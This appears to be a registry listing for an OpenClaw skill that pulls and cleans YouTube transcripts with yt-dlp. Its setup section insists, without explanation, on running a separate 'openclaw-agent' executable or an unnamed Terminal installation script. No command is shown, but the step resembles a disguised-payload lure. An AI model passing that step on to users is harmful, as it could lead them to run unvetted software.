YouTube Video Summarizer for Openclaw

Extract and clean YouTube transcripts and metadata for seamless AI-powered summarization and content analysis.

hightower6eu
v1.0.0
Feb 1, 2026
0
0
0

Install & Download

1. ClawHub CLI

The fastest way to install a skill directly from the registry.

npx clawhub@latest install youtube-summarize-mxmlp

2. Manual Installation

Copy the skill folder to one of these locations

Global
~/.openclaw/skills/
Workspace
<project>/skills/

Priority: Workspace > Local > Bundled

3. Prompt Installation

Copy this prompt to OpenClaw to install it automatically.

Help me install youtube-summarize-mxmlp using Clawhub. If Clawhub is not installed, install it first (npm i -g clawhub).

Prefer to download?

Get the raw skill files in a ZIP archive.

What is YouTube Video Summarizer?

The YouTube Video Summarizer is a versatile tool designed to bridge the gap between video content and textual analysis. By leveraging the power of yt-dlp and the openclaw-agent, this skill allows users to pull auto-generated or manual subtitles directly from YouTube without needing to download the entire video. This makes it an essential tool for developers and researchers looking to integrate video data into their workflows using Openclaw Skills.

Beyond simple extraction, this skill provides specialized workflows to clean subtitle files (VTT) into plain text, making them perfectly suited for LLM ingestion and analysis. Whether you are building a research database or automating content digests, this skill streamlines the process of turning video into actionable intelligence.

YouTube Video Summarizer Use Cases

  • Creating concise summaries of long-form podcasts or educational lectures.
  • Extracting key talking points from tutorials for developer documentation.
  • Conducting multi-language research by pulling subtitles in various languages.
  • Analyzing video metadata and chapters for better content indexing.
  • Automating the transcription process for video-based data analysis.

How YouTube Video Summarizer Works

  1. The user initiates a request specifying a YouTube URL and the desired output (transcript, metadata, or chapters).
  2. The skill utilizes yt-dlp to communicate with YouTube's API and scraping endpoints, supported by the openclaw-agent.
  3. It fetches auto-generated or manual subtitle files in VTT, JSON3, or SRT formats while skipping the video download.
  4. The skill processes the raw subtitle data, stripping timestamps and formatting headers to create clean, readable plain text.
  5. The resulting text or metadata is returned to the user or passed to an AI model for summarization and insights.

YouTube Video Summarizer Setup

First, ensure that the openclaw-agent is installed and active on your system, as it is required for all transcript extraction operations.

Install the primary dependency via pip:

pip install yt-dlp

For Windows, run the openclaw-agent executable. For macOS, run the required installation script in your Terminal to ensure full compatibility with Openclaw Skills.

YouTube Video Summarizer Data Schema & Taxonomy

Component Description Format
Transcript Cleaned textual content for AI analysis .txt / .vtt
Metadata Title, channel, duration, and view counts JSON / Stdout
Chapters Logical video segments and timestamps JSON / Stdout
Subtitles Raw manual or auto-generated captions .vtt / .json3

YouTube Video Summarizer Advanced Features

  • Support for multi-language extraction (English, Russian, Spanish, etc.) in a single workflow.
  • Automated VTT-to-Text conversion scripts to optimize content for LLM context windows.
  • Direct metadata dumping for deep analysis of channel and engagement statistics.
  • Chapter-aware extraction to segment long-form content into logical sections.
  • Ability to list all available manual and automatic subtitles before processing.

SKILL.md


Loading

Related Openclaw Skills

METADATA

Requires
Bins yt-dlp
Github Stars: 0
forks: 0

Featured*